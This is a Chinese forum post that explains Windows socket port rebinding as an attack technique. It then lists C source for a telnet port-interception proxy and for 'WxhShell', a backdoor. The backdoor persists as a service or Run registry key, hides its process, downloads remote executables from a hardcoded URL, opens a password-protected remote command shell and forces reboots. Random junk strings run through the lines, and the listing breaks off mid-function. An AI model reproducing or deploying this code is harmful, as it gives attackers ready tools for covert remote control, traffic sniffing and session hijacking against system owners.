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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9K FWa0G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \CU.'|X  
-DU[dU*~  
  saddr.sin_family = AF_INET; 'OkF.bs  
CW, Kw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l(%bdy  
OC"W=[Myl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J"I{0>@  
^om(6JL2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /1o~x~g(b  
L[##w?Xf.  
  这意味着什么?意味着可以进行如下的攻击: M^k~w{   
+r4^oT[-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GZ*cV3Y`&  
Q6"r^w Wx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I9k o*f  
b[$l{RQ[?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bBC3% H^  
3ef]3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8;Yx a8ie  
*.W ![%Be  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 sq&$   
7lf* vqG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mi<V(M~p  
lE$X9yIt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n#bC ,  
TJ2$ Z  
  #include 3 LoB-4u?  
  #include W}a&L  
  #include cFD(Ap  
  #include    z9'ME   
  DWORD WINAPI ClientThread(LPVOID lpParam);   |;Jcf3e(  
  int main() Rf2;O<  
  { 'd0]`2tVg4  
  WORD wVersionRequested; u= !?<Q  
  DWORD ret; h-Ffs  
  WSADATA wsaData; ^5j9WV  
  BOOL val; !W .ooy5(  
  SOCKADDR_IN saddr; m~#98ZJ^  
  SOCKADDR_IN scaddr; NR^z!+oSR  
  int err; T+N%KRl  
  SOCKET s; V 7%rKK  
  SOCKET sc; 97'*Xq  
  int caddsize; |V%Qp5 XJ  
  HANDLE mt; (A/V(.!  
  DWORD tid;   U]d{hY."  
  wVersionRequested = MAKEWORD( 2, 2 ); lUUeM\  
  err = WSAStartup( wVersionRequested, &wsaData ); 'SvYZ0ot  
  if ( err != 0 ) { JX`+b  
  printf("error!WSAStartup failed!\n"); cZ%weQa#N)  
  return -1; ?psvhB{O  
  } :W-"UW,  
  saddr.sin_family = AF_INET; N[ z7<$$  
   :TX!lbCq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @/E5$mX`  
>Vn;1|w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Y(-4Agq  
  saddr.sin_port = htons(23); 8;-a_VjA)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]B5qv6  
  { $ R,7#7bG  
  printf("error!socket failed!\n"); 31Y+bxQ  
  return -1; ]'EtLFv)  
  } 4{[Df$'e>  
  val = TRUE; jf~/x>Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -[".km  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Iyz};7yVI  
  { *'1qA0Xc  
  printf("error!setsockopt failed!\n"); g75)&U`>}  
  return -1; T B1E1  
  } Gt2NUGU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qf6Vj,~N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 gle_~es'K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aS-rRL|\L  
A8dIL5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S XIo  
  { Wg3y y8vIW  
  ret=GetLastError(); `Q' 0l},  
  printf("error!bind failed!\n"); 0 ua.aL'  
  return -1; zdlysr#  
  } k8Qm +r<p  
  listen(s,2); {I&>`?7.  
  while(1) @M?;~M?B]J  
  { 27<~m=`}d  
  caddsize = sizeof(scaddr); C;-9_;&  
  //接受连接请求 !X e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TG=) KS  
  if(sc!=INVALID_SOCKET) `lRZQ:27X  
  { F%UyFUz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N~=p+Ow[H  
  if(mt==NULL) ts<5%{M(  
  { ;*{y!pgb  
  printf("Thread Creat Failed!\n"); n? e&I>1W  
  break; t$m268m~  
  } y9cW&rDH  
  } kid3@  
  CloseHandle(mt);  Cdin"  
  } mg;+Th &  
  closesocket(s); C{`+h163\  
  WSACleanup(); )[.FUx  
  return 0; $8kc1Q  
  }   G&I\Za;   
  DWORD WINAPI ClientThread(LPVOID lpParam) C4 H M  
  { y)0r%=  
  SOCKET ss = (SOCKET)lpParam; -R?~Yysd7K  
  SOCKET sc; +[<|TT  
  unsigned char buf[4096]; 7q&Ru|T33  
  SOCKADDR_IN saddr; .z^ePZ|mV  
  long num; zYvf}L&]h  
  DWORD val; 8$xd;+`y'  
  DWORD ret; U3}r.9/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u]lf~EE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ghs{B8  
  saddr.sin_family = AF_INET; C!6?.\U/:c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P:eY>~m<;  
  saddr.sin_port = htons(23); q"7rd?r52  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D(yU:^L  
  { PHU#$LG  
  printf("error!socket failed!\n"); bS=aFl#  
  return -1; ] lE6:^V  
  } 0>} FNRC  
  val = 100; h:\WW;s[B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dO =fbmK  
  { u[5*RTE  
  ret = GetLastError(); J!b v17H"  
  return -1; > `R}ulz)  
  } ebxpKtEC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (RW02%`jjy  
  { iG()"^G  
  ret = GetLastError(); ~>2@55wElp  
  return -1; !C]0l  
  } Cbv$O o*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }pxMO? h$  
  { e<2?O  
  printf("error!socket connect failed!\n"); K;^$n>Y  
  closesocket(sc); ;.>CDt-E]  
  closesocket(ss); r%\(5H f  
  return -1; $ lz\t e  
  } *8{PoD   
  while(1) ByqB4Hv2  
  { wqEO+7)S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p uEu v6F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iOXxxP%#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *{5p/}p  
  num = recv(ss,buf,4096,0); iPgewjx  
  if(num>0) 29p`G1n  
  send(sc,buf,num,0); \wwY?lOe  
  else if(num==0) wQ-pIi{G  
  break; ^NwXvp>7-  
  num = recv(sc,buf,4096,0); p B*8D  
  if(num>0) 2Hl0besm  
  send(ss,buf,num,0); I-<U u 2  
  else if(num==0) TJjcX?:(  
  break; :)hS-*P  
  } +0) s {?  
  closesocket(ss); \ t4:(Jp 3  
  closesocket(sc); nQbF~   
  return 0 ; wq+%O,  
  } b|F4E{{D^  
*Y'nDv6_P  
YL*yiZ9  
========================================================== 4&]Sb}  
`L n,qiA  
下边附上一个代码,,WXhSHELL .;nU" a3'  
I.#V/{J  
========================================================== n3Uw6gLD  
%zDh07VT\  
#include "stdafx.h" aly1=j  
^~\cx75D  
#include <stdio.h> >.'rN>B+  
#include <string.h> Ldqn<wNnI  
#include <windows.h> j_YpkKh en  
#include <winsock2.h> m?wPZ^u  
#include <winsvc.h>  @Tk5<B3  
#include <urlmon.h> <=D !/7$ O  
eb%`ox@&  
#pragma comment (lib, "Ws2_32.lib") G- nS0Kn:  
#pragma comment (lib, "urlmon.lib") %A_h!3f&  
)lB 3U  
#define MAX_USER   100 // 最大客户端连接数 Ne>yFl"u  
#define BUF_SOCK   200 // sock buffer O)v?GQRj  
#define KEY_BUFF   255 // 输入 buffer XL SYE   
W:s`;8iM$  
#define REBOOT     0   // 重启 Fb8~2N"3  
#define SHUTDOWN   1   // 关机 wNQhz.>y  
sv}k_6XgY  
#define DEF_PORT   5000 // 监听端口 ?VUW.-  
2L?jp:$;X  
#define REG_LEN     16   // 注册表键长度 }_,1i3Rip  
#define SVC_LEN     80   // NT服务名长度 Jw"fqr  
Q[sj/  
// 从dll定义API i b$2qy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |KH981  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }C6RgE.6<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]nmVT~lBe"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =Rv!c+?  
Q)vf>LwC2S  
// wxhshell配置信息 V+04X"  
struct WSCFG { vSyR% j  
  int ws_port;         // 监听端口 YS$42J_T  
  char ws_passstr[REG_LEN]; // 口令 &?[uY5Mk  
  int ws_autoins;       // 安装标记, 1=yes 0=no <WPLjgtn3  
  char ws_regname[REG_LEN]; // 注册表键名 b{X,0a{*  
  char ws_svcname[REG_LEN]; // 服务名 <<#j?%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9UbD =}W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C|or2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Z~|ry0v{d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f&5'1tG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _d<xxF^q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O4Z_v%2M  
FR5P;Yz%H  
}; qGezmkNFm  
J*I G]2'H  
// default Wxhshell configuration Xo,}S\wcn  
struct WSCFG wscfg={DEF_PORT, pGO=3=O  
    "xuhuanlingzhe", qukym3F  
    1, b"JJ3$D  
    "Wxhshell", uu5L9.i9  
    "Wxhshell", :9c[J$R4  
            "WxhShell Service", hW~XE{<  
    "Wrsky Windows CmdShell Service", 0 rge]w.X  
    "Please Input Your Password: ", Qg^Ga0Lf6  
  1, 3n ~n-Jo  
  "http://www.wrsky.com/wxhshell.exe", 3Ql77?&k  
  "Wxhshell.exe" yAyq-G"sO  
    }; coG_bX?e  
w6cW7}ZD,  
// 消息定义模块 9?xD"Z   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E$8 D^Zt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r:xbs0 7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6 +2M$3_U  
char *msg_ws_ext="\n\rExit."; eG&3E`[  
char *msg_ws_end="\n\rQuit."; v%|S)^c?:  
char *msg_ws_boot="\n\rReboot..."; VyF|d? b  
char *msg_ws_poff="\n\rShutdown..."; Ja`xG{~Y7i  
char *msg_ws_down="\n\rSave to "; #gQaNc?  
h! yI(cY  
char *msg_ws_err="\n\rErr!"; 2*[Gm e  
char *msg_ws_ok="\n\rOK!"; =PQMd  
q eW{Cl~  
char ExeFile[MAX_PATH]; qG&}lg?g{  
int nUser = 0; /RF=8,A  
HANDLE handles[MAX_USER]; m N&G  
int OsIsNt; /O*4/  
=#z8CFq[O  
SERVICE_STATUS       serviceStatus; r9\7I7z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _`Lv@T.  
*PF}L%K(?  
// 函数声明 v-utDQT3  
int Install(void); /[<1D|f%  
int Uninstall(void); F4R0A6HL  
int DownloadFile(char *sURL, SOCKET wsh); "kdmqvTHK0  
int Boot(int flag); O5v)}4  
void HideProc(void); ' 5F3,/r  
int GetOsVer(void); KFuP gp  
int Wxhshell(SOCKET wsl); ^F="'/Pq[  
void TalkWithClient(void *cs); vAV{HBQ*  
int CmdShell(SOCKET sock); 9$~a&lXO5  
int StartFromService(void); AuW-XK.  
int StartWxhshell(LPSTR lpCmdLine); *hV$\CLT.  
_G62E $=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9| {t%F=-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); le*'GgU#  
kM JA#{<  
// 数据结构和表定义 .,l4pA9v  
SERVICE_TABLE_ENTRY DispatchTable[] = J]-z7<j']  
{ B3';Tcs  
{wscfg.ws_svcname, NTServiceMain}, aS $ J `  
{NULL, NULL} q RbU@o.3  
}; ~'.SmXZs  
 WBd$#V3  
// 自我安装 uH.1'bR?a  
int Install(void) ?LAiSg=eq  
{ eE0'3?q(  
  char svExeFile[MAX_PATH]; rm5@dM@  
  HKEY key; K'@lXA:  
  strcpy(svExeFile,ExeFile); hN"cXz"/  
JjC& io  
// 如果是win9x系统,修改注册表设为自启动 +U^H`\EUr  
if(!OsIsNt) { c|2+J :}p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^VOA69n>$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -TT{4\%s  
  RegCloseKey(key); 1Z_2s2`p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &W*do  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q L-Ni  
  RegCloseKey(key); tmgZNg  
  return 0; &`LR{7m  
    } .[Nr2w:>  
  } O,_k.EH  
} ObzFh?W  
else { hf1h*x^J  
esk~\!d  
// 如果是NT以上系统,安装为系统服务 ^U.t5jj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PHh4ZFl]_I  
if (schSCManager!=0) bQ`|G(g-d  
{ TOge!Q>a  
  SC_HANDLE schService = CreateService F`e o3z  
  ( a)qlrtCl  
  schSCManager, k )=Gyv<  
  wscfg.ws_svcname, zPyN2|iFah  
  wscfg.ws_svcdisp, ~R*01AnZ  
  SERVICE_ALL_ACCESS, @p 2XaqZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6-t:eo9  
  SERVICE_AUTO_START, 9H%dK^C  
  SERVICE_ERROR_NORMAL, OBEHUJ5  
  svExeFile, o @(.4+2m  
  NULL, iQ8T3cC+  
  NULL, szw|`S>o  
  NULL, ph~ d%/^jI  
  NULL, *Me&> "N"  
  NULL HU47 S  
  ); (p!w`MSv  
  if (schService!=0) y py  
  { =}OcMM`f  
  CloseServiceHandle(schService); `7$Sga6M  
  CloseServiceHandle(schSCManager); h}n?4B~Gi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ["~T)d'  
  strcat(svExeFile,wscfg.ws_svcname); 8}.V[,]6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (/ e[n.T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lz:Q6  
  RegCloseKey(key); N;|:Ks#!  
  return 0; @@=e-d  
    } 557%^)v  
  } :7L[v9'  
  CloseServiceHandle(schSCManager); ltg\x8w?c  
} v"8i2+j  
} EHF dQ0gIa  
M}\p/r=  
return 1; &j!q9F  
} Gg# 1k TK  
J_}Rsp ED  
// 自我卸载 iVZ X  
int Uninstall(void) o! Y61S(  
{ xWxgv;Ah  
  HKEY key; Sh;Z\nj  
u_'XUJ32!  
if(!OsIsNt) { )tp;2rJ/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3\Tqs  
  RegDeleteValue(key,wscfg.ws_regname); 3( o~|%  
  RegCloseKey(key); E! mxa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |,lw$k93  
  RegDeleteValue(key,wscfg.ws_regname); n^2'O:V s  
  RegCloseKey(key); !9]q+XefJ  
  return 0; :P?zy|aBi  
  } V[^ +lR  
} !JnxNIr&i|  
} ewOe A|  
else { \o<&s{ 6L  
?O.'_YS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8umW>  
if (schSCManager!=0) (RafidiH  
{ abtYa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); byN4?3 F  
  if (schService!=0) Nc\jA=  
  { .-?Txkwb  
  if(DeleteService(schService)!=0) { x#jJ 0T  
  CloseServiceHandle(schService); yGE)EBH  
  CloseServiceHandle(schSCManager); :S=!]la0h  
  return 0; %~EOq\&  
  } ~n{lu'SIX2  
  CloseServiceHandle(schService); 6e4A| <  
  } A(T=  
  CloseServiceHandle(schSCManager); !~!\=etm  
} ^wW{7Uq>  
}  E-L>.tD  
KF}_|~~T  
return 1; ?, oE_H  
} jUCDf-_ m  
evro]&N{  
// 从指定url下载文件 PD`EtkUnv  
int DownloadFile(char *sURL, SOCKET wsh) 'da$i  
{ Ch7&9NW  
  HRESULT hr; ds:&{~7L<T  
char seps[]= "/"; .s`7n *xz  
char *token; 5O]eD84B  
char *file; |3dIq=~1"Y  
char myURL[MAX_PATH]; k56*eEc  
char myFILE[MAX_PATH]; i/aj;t  
o!sHK9hvJ)  
strcpy(myURL,sURL); TSKR~3D#  
  token=strtok(myURL,seps); 4mwLlYZ  
  while(token!=NULL) }cd-BW  
  { ROj9#:  
    file=token; r`A|2(h5B  
  token=strtok(NULL,seps); =g<Yi2  
  } %+ur41HM  
f@H>by N  
GetCurrentDirectory(MAX_PATH,myFILE); M6:$ 0(r  
strcat(myFILE, "\\"); CooOBk  
strcat(myFILE, file); F0tx.]uS  
  send(wsh,myFILE,strlen(myFILE),0); sV-UY!   
send(wsh,"...",3,0); Z1sRLkR^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l ^;=0UR_  
  if(hr==S_OK) *$9Rb2}kK  
return 0; KDu~,P]  
else *# ;  
return 1; F:'>zB]-}  
R:Tv'I1-L  
} C`b)}dY  
gM_MK8py  
// 系统电源模块 :8l#jU `y  
int Boot(int flag) ]:Sb#=,!&!  
{ g]m}@b6(h  
  HANDLE hToken; Mk|*=#e;  
  TOKEN_PRIVILEGES tkp; yCZ[z A  
Vh8RVFi;c  
  if(OsIsNt) { z]n&,q,5g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9B2`FJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,N@N4<C]  
    tkp.PrivilegeCount = 1; eGi|S'L'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ep8 y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MUR Hv3  
if(flag==REBOOT) { Z.3*sp0 yv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $##LSTA  
  return 0; YfJQ]tt 1  
} L,* #  
else { Dt Ry%fA_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i$dF0.}Q  
  return 0; e*hCf5=-  
} Hg`2- Nl  
  } V2BsvR`  
  else { 2X|nPhNi  
if(flag==REBOOT) { RxXiSc`^z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }`D-]/T8.  
  return 0; gtJCvVj>g  
} Ahrtl6@AS  
else { rj-Q+rgup  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lCK|PY*  
  return 0; "j%L*J)  
} aKk0kC   
} A}z1~Z+  
oPC qv  
return 1; &WHK|bl  
} U_1N*XK6$  
02mu%|"  
// win9x进程隐藏模块 B+2Jea,N  
void HideProc(void) .MI 5?]_  
{ am# (ms  
W;ADc2#)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %\?Gzc_  
  if ( hKernel != NULL ) [Ontip  
  { u\P)x~-TM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y];@ M<<?e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jec<1|  
    FreeLibrary(hKernel); sT+\ z  
  } ?J's>q^X  
#u$ Z/,  
return; A^@,Ha  
} VQHQvFRZ)  
G L8 N!,  
// 获取操作系统版本 B6"pw0  
int GetOsVer(void) )`-vN^1S-  
{ of>}fJ_p  
  OSVERSIONINFO winfo; H'wh0K(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6I~{~YvB"  
  GetVersionEx(&winfo); H <ugc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e3x;(@j  
  return 1; 73tWeZ8rvx  
  else NK|m7 (  
  return 0; jW0aIS2O  
} r:9H>4m  
]-tAgNzl%  
// 客户端句柄模块 5 @61=Au  
int Wxhshell(SOCKET wsl) hSfLNvK  
{ C^!ej"  
  SOCKET wsh; E K#ib  
  struct sockaddr_in client; eVB.g@%T  
  DWORD myID; p="K4E8~H  
{uji7TB  
  while(nUser<MAX_USER) MD=VR(P?eq  
{ kG|pM54:^  
  int nSize=sizeof(client); oLz9mqp2%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }*R.>jQ+Y  
  if(wsh==INVALID_SOCKET) return 1; ;+4X<)y*>  
?KtvXTy{m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <nE|Y@S  
if(handles[nUser]==0) <n|.Z-gF\  
  closesocket(wsh); Q5pm^X._j  
else kU$M 8J.  
  nUser++; +)QA!g$  
  }  =[G)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5"8R|NU:\0  
p:gM?2p1  
  return 0; E!v^j=h$u  
} Mq2[^l!qu  
Trwk9 +  
// 关闭 socket MtIhpTX  
void CloseIt(SOCKET wsh) ZeP3 Yjr3  
{ }t9A#GOz  
closesocket(wsh); 9G=ZB^  
nUser--; ky98Bz%  
ExitThread(0); 1[r;  
} 7{:g|dX  
'c|Y*2@  
// 客户端请求句柄 0&|,HK  
void TalkWithClient(void *cs) "J (.dg]"  
{ *) ?Fo  
?5#=Mh#  
  SOCKET wsh=(SOCKET)cs; A1nEp0%Y  
  char pwd[SVC_LEN]; )XAD#GYM  
  char cmd[KEY_BUFF]; ~TEKxgU  
char chr[1]; kN,WB  
int i,j; _Q3Ad>,U  
"J CvsCe  
  while (nUser < MAX_USER) { Al(u|LbQ  
:i_k A'dl&  
if(wscfg.ws_passstr) { /o=,\kM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p$A`qx<M_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 95CCje{o _  
  //ZeroMemory(pwd,KEY_BUFF); smt6).o  
      i=0; jboQ)NxT!,  
  while(i<SVC_LEN) { M=aWL!nJ  
>J[Wd<~t  
  // 设置超时 B[rxV  
  fd_set FdRead;  >o"3:/3  
  struct timeval TimeOut; Ood'kAH1B  
  FD_ZERO(&FdRead); ]kd )j  
  FD_SET(wsh,&FdRead); wc5OK0|  
  TimeOut.tv_sec=8; VT&R1)c  
  TimeOut.tv_usec=0; h f1f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n\Y|0\ B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MJ:>ZRXC E  
:,^pLAt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q$=EUB"C  
  pwd=chr[0]; >@o}l:*  
  if(chr[0]==0xd || chr[0]==0xa) { (W l5F  
  pwd=0; 32*FISH^  
  break; 'ehJr/0&g  
  } ,3{z_Rax-  
  i++; n/3gx4.g  
    } %Pb 5PIk4  
 *R6n+d  
  // 如果是非法用户,关闭 socket (mJqI)m8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H.ZmLB  
} ,~_)Cf#CB  
F+@E6I'g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a+CHrnU\;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $*{$90 Q  
2eBA&t  
while(1) { LF~=,S  
O/(qi8En  
  ZeroMemory(cmd,KEY_BUFF); w*Gv#B9G  
3 TN?yP)  
      // 自动支持客户端 telnet标准   3 T3p[q4  
  j=0; YJ`[$0mam  
  while(j<KEY_BUFF) { ( |1 $zF+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5M{ DJ/q  
  cmd[j]=chr[0]; fr0iEO_  
  if(chr[0]==0xa || chr[0]==0xd) { eiF!yk?2  
  cmd[j]=0; *eO@<j?  
  break; &!{wbm@  
  } ~OXC6z  
  j++; PIuk]&L^  
    } L/w9dk*uv  
:fr 2K  
  // 下载文件 A2b C5lA  
  if(strstr(cmd,"http://")) { F%Lniv/N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o 2 5kFD  
  if(DownloadFile(cmd,wsh)) J(\"\Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "b!QE2bRO  
  else Lj$yGdK<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @awaN  
  } cf|<~7  
  else { 'wAO Y  
.d5|Fs~B  
    switch(cmd[0]) { b+NF: -fO  
  v?yHj-  
  // 帮助 )T:{(v7 d`  
  case '?': { ]rDf3_!m(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h@72eav3+  
    break; G^F4c{3c~  
  } FhZ&^.:  
  // 安装 W9?Yzl  
  case 'i': { <4y1[/S  
    if(Install()) hgE!) UE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1WPDMLuN  
    else }`$:3mb&f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aho;HM$hjP  
    break; C9/?B:  
    } 8kih81tx"U  
  // 卸载 qphN   
  case 'r': { I~qS6#%r  
    if(Uninstall()) Fz16m7.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8=7u,t  
    else 2;4Of~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qeCx.Z  
    break; A^JeB<, 5a  
    } ke~O+]  
  // 显示 wxhshell 所在路径 _y)#N<  
  case 'p': { J[ UL f7:  
    char svExeFile[MAX_PATH]; 0gVylQ  
    strcpy(svExeFile,"\n\r"); "JSg/optc  
      strcat(svExeFile,ExeFile); 7g5sJj  
        send(wsh,svExeFile,strlen(svExeFile),0); +V&b<y;?>  
    break; ;0}$zy1EZ  
    } WZRrqrjq  
  // 重启 A~-e?.  
  case 'b': { K$Y!d"D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H!&]Di1Eh  
    if(Boot(REBOOT)) pCA(>(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TD,W*(b  
    else { # 3uXgZi  
    closesocket(wsh); Nm<3bd  
    ExitThread(0); Rcf_31 L  
    } W k'()N  
    break; 'oHtg @  
    } Qg?^%O'  
  // 关机 #HB]qa  
  case 'd': { d>NElug  
